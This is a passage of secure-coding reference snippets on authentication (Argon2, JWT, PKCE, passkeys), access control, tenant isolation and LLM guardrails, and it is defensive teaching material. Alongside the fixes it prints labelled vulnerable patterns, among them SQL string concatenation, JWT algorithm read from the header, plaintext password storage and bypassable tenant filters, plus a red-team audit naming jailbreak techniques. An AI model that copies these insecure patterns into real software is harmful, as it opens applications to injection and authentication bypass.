# Argon2id password hashing
from argon2 import PasswordHasher
ph = PasswordHasher()
password_hash = ph.hash(password)
ph.verify(password_hash, password)

# JWT access token (15-min expiry)
import jwt
from datetime import datetime, timedelta, timezone
payload = {
    'sub': user_id, 'type': 'access',
    'exp': datetime.now(timezone.utc) + timedelta(minutes=15),
}
token = jwt.encode(payload, SECRET_KEY, algorithm='HS256')

// Zod v4 schema validation
import { z } from 'zod';
const UserSchema = z.object({
  email: z.string().email(),
  name: z.string().min(2).max(100),
  role: z.enum(['user', 'admin']).default('user'),
});
const result = UserSchema.safeParse(req.body);

# PII masking with Langfuse
import re
from langfuse import Langfuse

def mask_pii(data, **kwargs):
    if isinstance(data, str):
        data = re.sub(r'\b[\w.-]+@[\w.-]+\.\w+\b', '[REDACTED_EMAIL]', data)
        data = re.sub(r'\b\d{3}-\d{2}-\d{4}\b', '[REDACTED_SSN]', data)
    return data

langfuse = Langfuse(mask=mask_pii)

# Authentication
user.password = request.form['password']       # Plaintext password storage
response_type=token                             # Implicit OAuth grant (deprecated)
return "Email not found"                        # Information disclosure

# Input Validation
"SELECT * FROM users WHERE name = '" + name + "'"  # SQL injection
if (file.type === 'image/png') {...}               # Trusting Content-Type header

# LLM Safety
prompt = f"Analyze for user {user_id}"             # ID in prompt
artifact.user_id = llm_output["user_id"]           # Trusting LLM-generated IDs

# PII
logger.info(f"User email: {user.email}")           # Raw PII in logs
langfuse.trace(input=raw_prompt)                   # Unmasked observability data

from argon2 import PasswordHasher
from argon2.exceptions import VerifyMismatchError

ph = PasswordHasher(
    time_cost=3,        # Number of iterations
    memory_cost=65536,  # 64 MB
    parallelism=4,      # Number of threads
)

def hash_password(password: str) -> str:
    return ph.hash(password)

def verify_password(password_hash: str, password: str) -> bool:
    try:
        ph.verify(password_hash, password)
        return True
    except VerifyMismatchError:
        return False

def needs_rehash(password_hash: str) -> bool:
    return ph.check_needs_rehash(password_hash)

import os
import jwt
from datetime import datetime, timedelta, timezone

SECRET_KEY = os.environ["JWT_SECRET_KEY"]
ALGORITHM = "HS256"
ACCESS_TOKEN_EXPIRE_MINUTES = 15

def create_access_token(user_id: str, roles: list[str] = None) -> str:
    now = datetime.now(timezone.utc)
    payload = {
        "sub": user_id,
        "type": "access",
        "roles": roles or [],
        "iat": now,
        "exp": now + timedelta(minutes=ACCESS_TOKEN_EXPIRE_MINUTES),
    }
    return jwt.encode(payload, SECRET_KEY, algorithm=ALGORITHM)

def verify_access_token(token: str) -> dict | None:
    try:
        payload = jwt.decode(
            token, SECRET_KEY,
            algorithms=[ALGORITHM],  # NEVER read from header
            options={'require': ['exp', 'iat', 'sub']},
        )
        if payload.get("type") != "access":
            return None
        return payload
    except jwt.ExpiredSignatureError:
        return None
    except jwt.InvalidTokenError:
        return None

import secrets
import hashlib
from datetime import datetime, timedelta, timezone

def rotate_refresh_token(old_token: str, db) -> tuple[str, str]:
    old_hash = hashlib.sha256(old_token.encode()).hexdigest()

    token_record = db.query("""
        SELECT user_id, version FROM refresh_tokens
        WHERE token_hash = ? AND expires_at > NOW() AND revoked = FALSE
    """, [old_hash]).fetchone()

    if not token_record:
        raise InvalidTokenError("Refresh token invalid or expired")

    user_id, version = token_record

    # Revoke old token
    db.execute("UPDATE refresh_tokens SET revoked = TRUE WHERE token_hash = ?", [old_hash])

    # Create new tokens
    new_access_token = create_access_token(user_id)
    new_refresh_token = secrets.token_urlsafe(32)
    new_hash = hashlib.sha256(new_refresh_token.encode()).hexdigest()

    db.execute("""
        INSERT INTO refresh_tokens (user_id, token_hash, expires_at, version)
        VALUES (?, ?, ?, ?)
    """, [user_id, new_hash, datetime.now(timezone.utc) + timedelta(days=7), version + 1])

    return new_access_token, new_refresh_token

app.config['SESSION_COOKIE_SECURE'] = True      # HTTPS only
app.config['SESSION_COOKIE_HTTPONLY'] = True    # No JS access
app.config['SESSION_COOKIE_SAMESITE'] = 'Strict'

# NEVER store passwords in plaintext
user.password = request.form['password']

# NEVER trust algorithm from JWT header
payload = jwt.decode(token, SECRET, algorithms=jwt.get_unverified_header(token)['alg'])

# NEVER reveal if email exists
return "Email not found"  # Information disclosure

# ALWAYS use Argon2id or bcrypt
password_hash = ph.hash(password)

# ALWAYS hardcode algorithm
payload = jwt.decode(token, SECRET_KEY, algorithms=['HS256'])

# ALWAYS use generic error messages
return "Invalid credentials"

# Reading algorithm from untrusted JWT header
header = jwt.get_unverified_header(token)
payload = jwt.decode(token, SECRET_KEY, algorithms=[header['alg']])
# Attacker can set alg="none" to bypass signature verification

# Always specify the expected algorithm explicitly
payload = jwt.decode(
    token, SECRET_KEY,
    algorithms=['HS256'],  # Never read from header
    options={'require': ['exp', 'iat', 'sub']},
)

import hashlib, base64, secrets

def generate_pkce_pair():
    code_verifier = secrets.token_urlsafe(64)
    digest = hashlib.sha256(code_verifier.encode()).digest()
    code_challenge = base64.urlsafe_b64encode(digest).rstrip(b'=').decode()
    return code_verifier, code_challenge

verifier, challenge = generate_pkce_pair()

# Step 1: Authorization request
auth_url = f"""https://auth.example.com/authorize?
    response_type=code
    &client_id={client_id}
    &redirect_uri={redirect_uri}
    &code_challenge={challenge}
    &code_challenge_method=S256
    &state={state}
    &scope=openid profile"""

# Step 2: Exchange code for tokens
token_response = requests.post(
    "https://auth.example.com/token",
    data={
        "grant_type": "authorization_code",
        "code": auth_code,
        "redirect_uri": redirect_uri,
        "client_id": client_id,
        "code_verifier": verifier,
    }
)

import jwt, time, uuid

def create_dpop_proof(http_method: str, http_uri: str, private_key) -> str:
    claims = {
        "jti": str(uuid.uuid4()),
        "htm": http_method,
        "htu": http_uri,
        "iat": int(time.time()),
    }
    headers = {
        "typ": "dpop+jwt",
        "alg": "ES256",
        "jwk": private_key.public_key().export_key(),
    }
    return jwt.encode(claims, private_key, algorithm="ES256", headers=headers)

from webauthn import generate_registration_options, verify_registration_response
from webauthn.helpers.structs import (
    AuthenticatorSelectionCriteria,
    ResidentKeyRequirement,
    UserVerificationRequirement,
)

options = generate_registration_options(
    rp_id="example.com",
    rp_name="Example App",
    user_id=user.id.encode(),
    user_name=user.email,
    authenticator_selection=AuthenticatorSelectionCriteria(
        resident_key=ResidentKeyRequirement.REQUIRED,
        user_verification=UserVerificationRequirement.REQUIRED,
    ),
)

from webauthn import generate_authentication_options, verify_authentication_response

options = generate_authentication_options(
    rp_id="example.com",
    allow_credentials=[
        {"id": cred.credential_id, "type": "public-key"}
        for cred in user.credentials
    ],
)

verification = verify_authentication_response(
    credential=client_response,
    expected_challenge=stored_challenge,
    expected_rp_id="example.com",
    expected_origin="https://example.com",
    credential_public_key=stored_credential.public_key,
    credential_current_sign_count=stored_credential.sign_count,
)

# Update sign count (replay protection)
stored_credential.sign_count = verification.new_sign_count

// Registration
async function registerPasskey(options: PublicKeyCredentialCreationOptions) {
  const credential = await navigator.credentials.create({ publicKey: options });
  await fetch('/api/auth/passkey/register', {
    method: 'POST', body: JSON.stringify(credential),
  });
}

// Conditional UI (autofill)
if (window.PublicKeyCredential?.isConditionalMediationAvailable) {
  const available = await PublicKeyCredential.isConditionalMediationAvailable();
  if (available) {
    const credential = await navigator.credentials.get({
      publicKey: options, mediation: 'conditional',
    });
  }
}

# NEVER use implicit OAuth grant
response_type=token  # Deprecated in OAuth 2.1

# NEVER skip PKCE
# PKCE is required for ALL clients in OAuth 2.1

# ALWAYS use PKCE with S256
code_challenge=challenge&code_challenge_method=S256

# No PKCE verification
token_response = requests.post(
    "https://auth.example.com/token",
    data={
        "grant_type": "authorization_code",
        "code": auth_code,
        "client_id": client_id,
    }
)

# Generate and verify PKCE challenge
verifier, challenge = generate_pkce_pair()
token_response = requests.post(
    "https://auth.example.com/token",
    data={
        "grant_type": "authorization_code",
        "code": auth_code,
        "client_id": client_id,
        "code_verifier": verifier,  # Proves client possession
    }
)

from functools import wraps
from flask import abort, g

def require_role(*roles):
    """Decorator to require specific role(s)."""
    def decorator(f):
        @wraps(f)
        def wrapper(*args, **kwargs):
            if not g.current_user:
                abort(401)
            if not any(role in g.current_user.roles for role in roles):
                abort(403)
            return f(*args, **kwargs)
        return wrapper
    return decorator

def require_permission(permission: str):
    """Decorator to require specific permission."""
    def decorator(f):
        @wraps(f)
        def wrapper(*args, **kwargs):
            if not g.current_user:
                abort(401)
            if not g.current_user.has_permission(permission):
                abort(403)
            return f(*args, **kwargs)
        return wrapper
    return decorator

# Usage
@app.route('/admin/users')
@require_role('admin')
def admin_users():
    return get_all_users()

@app.route('/api/patients/<id>')
@require_permission('patients:read')
def get_patient(id):
    return get_patient_by_id(id)

from fastapi import Depends, HTTPException, status
from fastapi.security import HTTPBearer, HTTPAuthorizationCredentials

security = HTTPBearer()

async def get_current_user(
    credentials: HTTPAuthorizationCredentials = Depends(security)
):
    payload = verify_access_token(credentials.credentials)
    if not payload:
        raise HTTPException(status_code=status.HTTP_401_UNAUTHORIZED)
    user = await get_user_by_id(payload["sub"])
    if not user:
        raise HTTPException(status_code=status.HTTP_401_UNAUTHORIZED)
    return user

def require_role(*roles):
    async def role_checker(user = Depends(get_current_user)):
        if not any(role in user.roles for role in roles):
            raise HTTPException(status_code=status.HTTP_403_FORBIDDEN)
        return user
    return role_checker

import pyotp
import qrcode
from io import BytesIO
import base64

def generate_totp_secret() -> str:
    return pyotp.random_base32()

def get_totp_provisioning_uri(secret: str, email: str, issuer: str = "MyApp") -> str:
    totp = pyotp.TOTP(secret)
    return totp.provisioning_uri(name=email, issuer_name=issuer)

def verify_totp(secret: str, code: str) -> bool:
    totp = pyotp.TOTP(secret)
    return totp.verify(code, valid_window=1)

@app.route('/api/auth/login', methods=['POST'])
@limiter.limit("5 per minute")
def login():
    email = request.json.get('email')
    password = request.json.get('password')

    user = User.query.filter_by(email=email).first()

    # Don't reveal if user exists
    if not user or not verify_password(user.password_hash, password):
        return {"error": "Invalid credentials"}, 401

    if user.mfa_enabled:
        mfa_token = create_mfa_pending_token(user.id)
        return {"mfa_required": True, "mfa_token": mfa_token}

    return issue_tokens(user)

from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

limiter = Limiter(app, key_func=get_remote_address,
    default_limits=["200 per day", "50 per hour"],
    storage_uri="redis://localhost:6379")

@app.route('/api/auth/login', methods=['POST'])
@limiter.limit("5 per minute")
def login():
    pass

@app.route('/api/auth/password-reset', methods=['POST'])
@limiter.limit("3 per hour")
def password_reset():
    return {"message": "If email exists, reset link sent"}

@app.route('/admin/users')
def admin_users():
    if 'admin' not in current_user.roles:
        return {"error": "You are not an admin"}, 403  # Reveals role info
    return get_all_users()

@app.route('/admin/users')
@require_role('admin')
def admin_users():
    return get_all_users()
# Returns 403 Forbidden with no role details exposed

Layer 0: EDGE           | WAF, Rate Limiting, DDoS, Bot Detection
Layer 1: GATEWAY        | JWT Verify, Extract Claims, Build Context
Layer 2: INPUT          | Schema Validation, PII Detection, Injection Defense
Layer 3: AUTHORIZATION  | RBAC/ABAC, Tenant Check, Resource Access
Layer 4: DATA ACCESS    | Parameterized Queries, Tenant Filter
Layer 5: LLM            | Prompt Building (no IDs), Context Separation
Layer 6: OUTPUT         | Schema Validation, Guardrails, Hallucination Check
Layer 7: STORAGE        | Attribution, Audit Trail, Encryption
Layer 8: OBSERVABILITY  | Logging (sanitized), Tracing, Metrics

@dataclass(frozen=True)
class RequestContext:
    """Immutable context that flows through the system"""
    user_id: UUID
    tenant_id: UUID
    session_id: str
    permissions: frozenset[str]
    request_id: str
    trace_id: str
    timestamp: datetime
    client_ip: str

async def authorize(ctx: RequestContext, action: str, resource: Resource) -> bool:
    if action not in ctx.permissions:
        raise Forbidden("Missing permission")
    if resource.tenant_id != ctx.tenant_id:
        raise Forbidden("Cross-tenant access denied")
    if not await check_resource_access(ctx.user_id, resource):
        raise Forbidden("No access to resource")
    return True

class TenantScopedRepository:
    def __init__(self, ctx: RequestContext):
        self.ctx = ctx
        self._base_filter = {"tenant_id": ctx.tenant_id}

    async def find(self, query: dict) -> list[Model]:
        safe_query = {**self._base_filter, **query}
        return await self.db.find(safe_query)

@app.get("/documents/{doc_id}")
def get_document(doc_id: UUID, token: str = Header(...)):
    claims = verify_jwt(token)  # Only layer
    return db.query(Document).get(doc_id)

@app.get("/documents/{doc_id}")
async def get_document(doc_id: UUID, ctx: RequestContext = Depends(get_context)):
    # Layer 1: Gateway verified JWT
    # Layer 2: UUID validation (Pydantic)
    # Layer 3: Authorization
    await authorize(ctx, "documents:read", doc_id)
    # Layer 4: Tenant-scoped query
    repo = TenantScopedRepository(db, ctx, Document)
    return await repo.find_by_id(doc_id)

from dataclasses import dataclass
from datetime import datetime, timezone
from uuid import UUID
from typing import FrozenSet

@dataclass(frozen=True)
class RequestContext:
    """
    System context that NEVER appears in LLM prompts.
    Created at gateway, flows through all layers.
    """
    # Identity
    user_id: UUID
    tenant_id: UUID
    session_id: str
    permissions: FrozenSet[str]

    # Tracing
    request_id: str
    trace_id: str
    span_id: str

    # Resource
    resource_id: UUID | None = None
    resource_type: str | None = None

    # Metadata
    timestamp: datetime = None
    client_ip: str = ""

from fastapi import Request, Depends

async def get_request_context(request: Request) -> RequestContext:
    auth_header = request.headers.get("Authorization", "")
    if not auth_header.startswith("Bearer "):
        raise HTTPException(401, "Missing authorization")

    token = auth_header[7:]
    claims = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])

    return RequestContext(
        user_id=UUID(claims["sub"]),
        tenant_id=UUID(claims["tenant_id"]),
        session_id=claims["session_id"],
        permissions=frozenset(claims.get("permissions", [])),
        request_id=request.headers.get("X-Request-ID", str(uuid4())),
        trace_id=generate_trace_id(),
        span_id=generate_span_id(),
        client_ip=request.client.host,
    )

class TenantScopedRepository(Generic[T]):
    """Cannot be bypassed - tenant filter is mandatory."""

    def __init__(self, session: AsyncSession, ctx: RequestContext, model: type[T]):
        self.session = session
        self.ctx = ctx
        self.model = model

    def _base_query(self):
        return select(self.model).where(
            self.model.tenant_id == self.ctx.tenant_id
        )

    async def find_by_id(self, id: UUID) -> T | None:
        """Even by-ID lookup includes tenant check."""
        query = self._base_query().where(self.model.id == id)
        result = await self.session.execute(query)
        return result.scalar_one_or_none()

    async def find_by_user(self) -> list[T]:
        query = self._base_query().where(
            self.model.user_id == self.ctx.user_id
        )
        result = await self.session.execute(query)
        return result.scalars().all()

async def semantic_search(query_embedding: list[float], ctx: RequestContext, limit: int = 10):
    return await db.execute("""
        SELECT id, content, 1 - (embedding <-> :query) as similarity
        FROM documents
        WHERE tenant_id = :tenant_id
          AND user_id = :user_id
          AND embedding <-> :query < 0.5
        ORDER BY embedding <-> :query
        LIMIT :limit
    """, {
        "tenant_id": ctx.tenant_id,
        "user_id": ctx.user_id,
        "query": query_embedding,
        "limit": limit,
    })

def cache_key(ctx: RequestContext, operation: str, *args) -> str:
    """Cache keys MUST include tenant_id."""
    return f"{ctx.tenant_id}:{ctx.user_id}:{operation}:{':'.join(str(a) for a in args)}"

ALTER TABLE documents ENABLE ROW LEVEL SECURITY;

CREATE POLICY tenant_isolation ON documents
    USING (tenant_id = current_setting('app.tenant_id')::uuid);

SET app.tenant_id = 'tenant-uuid-here';

class SanitizedLogger:
    REDACT_PATTERNS = {
        r"password": "[PASSWORD_REDACTED]",
        r"api[_-]?key": "[API_KEY_REDACTED]",
        r"[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}": "[EMAIL_REDACTED]",
    }
    HASH_FIELDS = {"prompt", "response", "content"}

    def audit(self, event: str, **kwargs):
        sanitized = self._sanitize(kwargs)
        self._logger.info(event, audit=True, **sanitized)

# BAD: Mutable context
class RequestContext:
    user_id: UUID  # Can be changed!

# BAD: Context in prompt
prompt = f"User {ctx.user_id} wants to analyze..."

# BAD: Global query without tenant filter
async def find_all():
    return await db.execute("SELECT * FROM documents")

# BAD: Tenant filter as optional
async def find(tenant_id: UUID | None = None):
    if tenant_id:  # Can be bypassed!
        query += f" WHERE tenant_id = '{tenant_id}'"

# GOOD: Tenant from authenticated context only
async def find(ctx: RequestContext):
    return await db.find(tenant_id=ctx.tenant_id)

async def test_tenant_a_cannot_see_tenant_b_documents(tenant_a_ctx, tenant_b_ctx):
    doc = Document(tenant_id=tenant_b_ctx.tenant_id, content="Secret data")
    await db_session.add(doc)

    repo = TenantScopedRepository(db_session, tenant_a_ctx, Document)
    result = await repo.find_by_id(doc.id)

    assert result is None  # Tenant A cannot see tenant B's data

async def find_documents(tenant_id: UUID | None = None):
    query = select(Document)
    if tenant_id:  # Can be bypassed by omitting parameter
        query = query.where(Document.tenant_id == tenant_id)
    return await session.execute(query)

async def find_documents(ctx: RequestContext):
    # Tenant filter is mandatory via immutable context
    query = select(Document).where(
        Document.tenant_id == ctx.tenant_id  # Cannot be bypassed
    )
    return await session.execute(query)

# Only testing happy path, no adversarial inputs
def test_chatbot():
    response = chatbot.respond("What's the weather?")
    assert response  # No jailbreak, injection, or bias testing!

from deepteam import red_team
from deepteam.vulnerabilities import (
    Bias, Toxicity, PIILeakage,
    PromptInjection, Jailbreaking,
    Misinformation, CompetitorEndorsement
)

async def run_red_team_audit(target_model: callable, attacks_per_vulnerability: int = 10) -> dict:
    results = await red_team(
        model=target_model,
        vulnerabilities=[
            Bias(categories=["gender", "race", "religion", "age"]),
            Toxicity(threshold=0.7),
            PIILeakage(types=["email", "phone", "ssn", "credit_card"]),
            PromptInjection(techniques=["direct", "indirect", "context"]),
            Jailbreaking(multi_turn=True, techniques=["dan", "roleplay", "context_manipulation"]),
            Misinformation(domains=["health", "finance", "legal"]),
        ],
        attacks_per_vulnerability=attacks_per_vulnerability,
    )

    return {
        "total_attacks": results.total_attacks,
        "successful_attacks": results.successful_attacks,
        "attack_success_rate": results.successful_attacks / results.total_attacks,
        "vulnerabilities": [
            {"type": v.type, "severity": v.severity, "mitigation": v.suggested_mitigation}
            for v in results.vulnerabilities
        ],
    }

# No input sanitization, no output validation
user_input = request.json["message"]
response = llm.generate(user_input)  # Prompt injection risk!
return response  # Raw, unvalidated output!

# config.yml
models:
  - type: main
    engine: openai
    model: gpt-5.2

rails:
  config:
    guardrails_ai:
      validators:
        - name: toxic_language
          parameters:
            threshold: 0.5
            validation_method: "sentence"
        - name: guardrails_pii
          parameters:
            entities: ["phone_number", "email", "ssn", "credit_card"]
        - name: restricttotopic
          parameters:
            valid_topics: ["technology", "support"]

  input:
    flows:
      - guardrailsai check input $validator="guardrails_pii"
  output:
    flows:
      - guardrailsai check output $validator="toxic_language"
      - guardrailsai check output $validator="restricttotopic"

define flow answer question with facts
  """Enable fact-checking for RAG responses."""
  user ...
  $answer = execute rag()
  $check_facts = True
  bot $answer

define flow check hallucination
  """Block responses about people without verification."""
  user ask about people
  $check_hallucination = True
  bot respond about people

from guardrails import Guard
from guardrails.hub import ToxicLanguage, DetectPII, RestrictToTopic, ValidLength

guard = Guard().use_many(
    ToxicLanguage(threshold=0.5, on_fail="filter"),
    DetectPII(pii_entities=["EMAIL_ADDRESS", "PHONE_NUMBER", "SSN"], on_fail="fix"),
    RestrictToTopic(valid_topics=["technology", "support"], on_fail="refrain"),
    ValidLength(min=10, max=500, on_fail="reask"),
)

# Always validate BOTH input and output
input_result = input_guard.validate(user_input)
if not input_result.validation_passed:
    return "Invalid input"

llm_output = llm.generate(input_result.validated_output)
output_result = guard(llm_api=openai.chat.completions.create, model="gpt-5.2",
                      messages=[{"role": "user", "content": user_input}])

if output_result.validation_passed:
    return output_result.validated_output

Phase 1: PRE-LLM     | Filter data, extract content, save refs
Phase 2: LLM CALL    | Content-only prompt, no identifiers
Phase 3: POST-LLM    | Validate output, attach attribution

async def prepare_for_llm(query: str, ctx: RequestContext):
    # 1. Retrieve with tenant filter
    documents = await semantic_search(
        query_embedding=embed(query),
        ctx=ctx,  # Filters by tenant_id, user_id
    )

    # 2. Save references for attribution
    source_refs = SourceRefs(
        document_ids=[d.id for d in documents],
        chunk_ids=[c.id for c in chunks],
    )

    # 3. Extract content only (no IDs)
    content_texts = [strip_identifiers(d.content) for d in documents]

    return query, content_texts, source_refs

def strip_identifiers(text: str) -> str:
    """Remove any IDs from content."""
    text = re.sub(UUID_PATTERN, '[REDACTED]', text, flags=re.IGNORECASE)
    for pattern in [r'user_id:\s*\S+', r'tenant_id:\s*\S+']:
        text = re.sub(pattern, '[REDACTED]', text, flags=re.IGNORECASE)
    return text

def build_prompt(content: str, context_texts: list[str]) -> str:
    prompt = f"""
    Analyze the following content and provide insights.

    CONTENT:
    {content}

    RELEVANT CONTEXT:
    {chr(10).join(f"- {text}" for text in context_texts)}
    """

    # AUDIT: Verify no IDs leaked
    violations = audit_prompt(prompt)
    if violations:
        raise SecurityError(f"IDs leaked to prompt: {violations}")

    return prompt

async def call_llm(prompt: str) -> dict:
    """LLM only sees content, never IDs."""
    response = await llm.generate(prompt)
    return parse_response(response)

async def save_with_attribution(
    llm_output: dict, ctx: RequestContext, source_refs: SourceRefs,
) -> Analysis:
    """Attribution is DETERMINISTIC, not LLM-generated."""

    # Validate no IDs in output
    if re.search(UUID_PATTERN, str(llm_output)):
        raise SecurityError("LLM output contains hallucinated IDs")

    return await Analysis.create(
        id=uuid4(),                                    # We generate
        user_id=ctx.user_id,                           # From context
        tenant_id=ctx.tenant_id,                       # From context
        trace_id=ctx.trace_id,                         # From context
        source_document_ids=source_refs.document_ids,  # From pre-LLM
        content=llm_output["analysis"],                # From LLM
        key_concepts=llm_output["key_concepts"],       # From LLM
        created_at=datetime.now(timezone.utc),
    )

async def safe_analyze(query: str, ctx: RequestContext, db_session):
    # Phase 1: Pre-LLM
    content, source_refs = await prepare_for_llm(query, ctx, db_session)

    # Phase 2: LLM Call
    prompt = build_prompt(content)
    llm_output = await call_llm(prompt, AnalysisOutput)

    # Phase 3: Post-LLM
    result = await attribute_and_save(
        llm_output=llm_output, ctx=ctx,
        source_refs=source_refs, db_session=db_session,
    )
    return result

async def validate_output(llm_output: dict, context_texts: list[str]):
    # 1. Schema validation
    parsed = AnalysisOutput.model_validate(llm_output)

    # 2. Guardrails
    if await contains_toxic_content(parsed.content):
        return ValidationResult(valid=False, reason="Toxic content")

    # 3. Grounding check
    if not is_grounded(parsed.content, context_texts):
        return ValidationResult(valid=False, reason="Ungrounded claims")

    # 4. No hallucinated IDs
    if contains_uuid_pattern(parsed.content):
        return ValidationResult(valid=False, reason="Hallucinated IDs")

    return ValidationResult(valid=True)

# BAD: Asking LLM for attribution
prompt = "Analyze this and tell me which document it came from"
doc_id = response["source_document"]  # HALLUCINATED!

# BAD: Trusting LLM-provided IDs
artifact.user_id = llm_output["user_id"]  # WRONG!

# GOOD: Attribution from our records
artifact.user_id = ctx.user_id         # From JWT
artifact.sources = source_refs.doc_ids  # From pre-LLM
artifact.id = uuid4()                   # We generate

prompt = f"Analyze this content and cite which documents support each claim."
response = await llm.generate(prompt)
# Save with LLM-generated document IDs
artifact.source_ids = response["document_ids"]  # HALLUCINATED!

# Phase 1: Save refs before LLM
docs = await semantic_search(query, ctx)
source_refs = [d.id for d in docs]
# Phase 2: LLM sees only content
response = await llm.generate(content_only_prompt)
# Phase 3: Attach saved refs
artifact.source_ids = source_refs  # From our records, not LLM

from pydantic import BaseModel, ValidationError

def validate_schema(llm_output: dict, schema: type[BaseModel]):
    try:
        parsed = schema.model_validate(llm_output)
        return parsed, ValidationResult(status="passed")
    except ValidationError as e:
        return None, ValidationResult(
            status="failed",
            reason=f"Schema error: {e.error_count()} errors",
        )

class AnalysisOutput(BaseModel):
    summary: str
    key_concepts: list[str]
    difficulty: str

import re

UUID_PATTERN = r'[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}'

def validate_no_ids(output: str) -> ValidationResult:
    uuids = re.findall(UUID_PATTERN, output, re.IGNORECASE)
    if uuids:
        return ValidationResult(
            status="failed",
            reason=f"Found {len(uuids)} hallucinated UUIDs",
        )
    return ValidationResult(status="passed")

def validate_grounding(output: str, context_texts: list[str], threshold: float = 0.3):
    output_terms = set(extract_key_terms(output))
    context_terms = set()
    for text in context_texts:
        context_terms.update(extract_key_terms(text))

    if not output_terms:
        return ValidationResult(status="warning", reason="No key terms")

    overlap = len(output_terms & context_terms) / len(output_terms)
    if overlap < threshold:
        return ValidationResult(
            status="warning",
            reason=f"Low grounding: {overlap:.2%}",
        )
    return ValidationResult(status="passed")

async def validate_content_safety(output: str):
    # PII detection
    pii_patterns = {
        "email": r'\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b',
        "phone": r'\b\d{3}[-.]?\d{3}[-.]?\d{4}\b',
        "ssn": r'\b\d{3}-\d{2}-\d{4}\b',
    }

    detected_pii = []
    for pii_type, pattern in pii_patterns.items():
        if re.search(pattern, output):
            detected_pii.append(pii_type)

    if detected_pii:
        return ValidationResult(
            status="warning",
            reason=f"PII detected: {detected_pii}",
        )
    return ValidationResult(status="passed")

async def run_guardrails(
    llm_output: dict,
    context_texts: list[str],
    schema: type[BaseModel],
) -> tuple[BaseModel | None, list[ValidationResult]]:
    results = []

    # 1. Schema
    parsed, result = validate_schema(llm_output, schema)
    results.append(result)
    if not result.is_valid:
        return None, results

    output_str = str(llm_output)

    # 2. No hallucinated IDs
    results.append(validate_no_ids(output_str))

    # 3. Grounding check
    results.append(validate_grounding(output_str, context_texts))

    # 4. Content safety
    results.append(await validate_content_safety(output_str))

    # 5. Size limits
    results.append(validate_size(output_str))

    failures = [r for r in results if r.status == "failed"]
    if failures:
        return None, results

    return parsed, results

# BAD: No validation
artifact.content = llm_response["content"]

# BAD: Only schema validation
parsed = AnalysisOutput.parse_obj(response)

# BAD: Trusting LLM self-assessment
if llm_response.get("is_safe", True):
    use_response(llm_response)

# GOOD: Full guardrail pipeline
parsed, results = await run_guardrails(
    llm_output=response, context_texts=context, schema=AnalysisOutput,
)

response = await llm.generate(prompt)
analysis = Analysis(
    content=response["summary"],  # Could be toxic
    document_id=response["doc_id"],  # Hallucinated UUID!
)
await db.save(analysis)

response = await llm.generate(prompt)
parsed, results = await run_guardrails(
    llm_output=response, context_texts=context, schema=AnalysisOutput,
)
if not parsed:
    raise ValidationError(f"Guardrails failed: {results}")
# Now safe to use parsed output

import re

FORBIDDEN_PATTERNS = [
    r'user[_-]?id', r'tenant[_-]?id',
    r'analysis[_-]?id', r'document[_-]?id',
    r'session[_-]?id', r'trace[_-]?id',
    r'[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}',
]

def audit_prompt(prompt: str) -> list[str]:
    violations = []
    for pattern in FORBIDDEN_PATTERNS:
        if re.search(pattern, prompt, re.IGNORECASE):
            violations.append(pattern)
    return violations

class SafePromptBuilder:
    def __init__(self, strict: bool = True):
        self._parts: list[str] = []
        self._context: dict[str, Any] = {}
        self._strict = strict

    def add_system(self, instruction: str) -> "SafePromptBuilder":
        audit = audit_text(instruction)
        if not audit.is_clean:
            raise PromptSecurityError("Forbidden content", audit.critical_violations)
        self._parts.append(f"SYSTEM:\n{instruction}")
        return self

    def add_user_query(self, query: str) -> "SafePromptBuilder":
        clean = self._sanitize(query)
        self._parts.append(f"USER QUERY:\n{clean}")
        return self

    def add_context_documents(self, documents: list[str]) -> "SafePromptBuilder":
        clean_docs = [self._sanitize(doc) for doc in documents]
        formatted = "\n".join(f"- {doc}" for doc in clean_docs)
        self._parts.append(f"CONTEXT:\n{formatted}")
        return self

    def store_context(self, key: str, value: Any) -> "SafePromptBuilder":
        """Store for attribution - NEVER included in prompt."""
        self._context[key] = value
        return self

    def _sanitize(self, text: str) -> str:
        text = re.sub(UUID_PATTERN, '[REDACTED]', text, flags=re.IGNORECASE)
        return text

    def build(self) -> tuple[str, dict[str, Any]]:
        prompt = "\n\n".join(self._parts)
        audit = audit_text(prompt)
        if not audit.is_clean:
            raise PromptSecurityError(f"Final prompt forbidden: {audit.critical_violations}")
        return prompt, self._context.copy()

prompt, context = (
    SafePromptBuilder()
    .add_system("You are an expert content analyzer.")
    .add_user_query("What are the key concepts in machine learning?")
    .add_context_documents(["Machine learning is a subset of AI..."])
    .store_context("user_id", ctx.user_id)      # Stored, NOT in prompt
    .store_context("source_ids", doc_ids)        # Stored, NOT in prompt
    .build()
)

# BAD: ID in prompt
prompt = f"Analyze document {doc_id} for user {user_id}"

# BAD: ID in instruction
prompt = f"You are analyzing for tenant {tenant_id}. Be helpful."

# GOOD: Content only
prompt = f"Analyze the following document:\n{document_content}"

prompt = f"""
Analyze the document for user {ctx.user_id}.
Tenant: {ctx.tenant_id}
Content: {user_content}
"""
# Attacker can inject: "user_id: <fake-uuid>" in content

# Store context separately, never in prompt
context_data = {"user_id": ctx.user_id, "tenant_id": ctx.tenant_id}
prompt = f"Analyze the following content:\n{sanitized_content}"
# audit_prompt(prompt) passes — no IDs detected

# VULNERABLE: Algorithm read from token header
header = jwt.get_unverified_header(token)
payload = jwt.decode(token, SECRET_KEY, algorithms=[header['alg']])
# Attacker can set alg="none" or use public key as HMAC secret

# SAFE: Hardcode expected algorithm
def verify_jwt(token: str) -> dict:
    payload = jwt.decode(
        token, SECRET_KEY,
        algorithms=['HS256'],  # NEVER read from header
        options={'require': ['exp', 'iat', 'iss', 'aud']},
    )

    if payload['iss'] != EXPECTED_ISSUER:
        raise jwt.InvalidIssuerError()
    if payload['aud'] != EXPECTED_AUDIENCE:
        raise jwt.InvalidAudienceError()

    return payload

def create_protected_token(user_id: str, response) -> str:
    """Token with fingerprint to prevent sidejacking."""
    fingerprint = secrets.token_urlsafe(32)

    payload = {
        'user_id': user_id,
        'fingerprint': hashlib.sha256(fingerprint.encode()).hexdigest(),
        'exp': datetime.now(timezone.utc) + timedelta(minutes=15),
        'iat': datetime.now(timezone.utc),
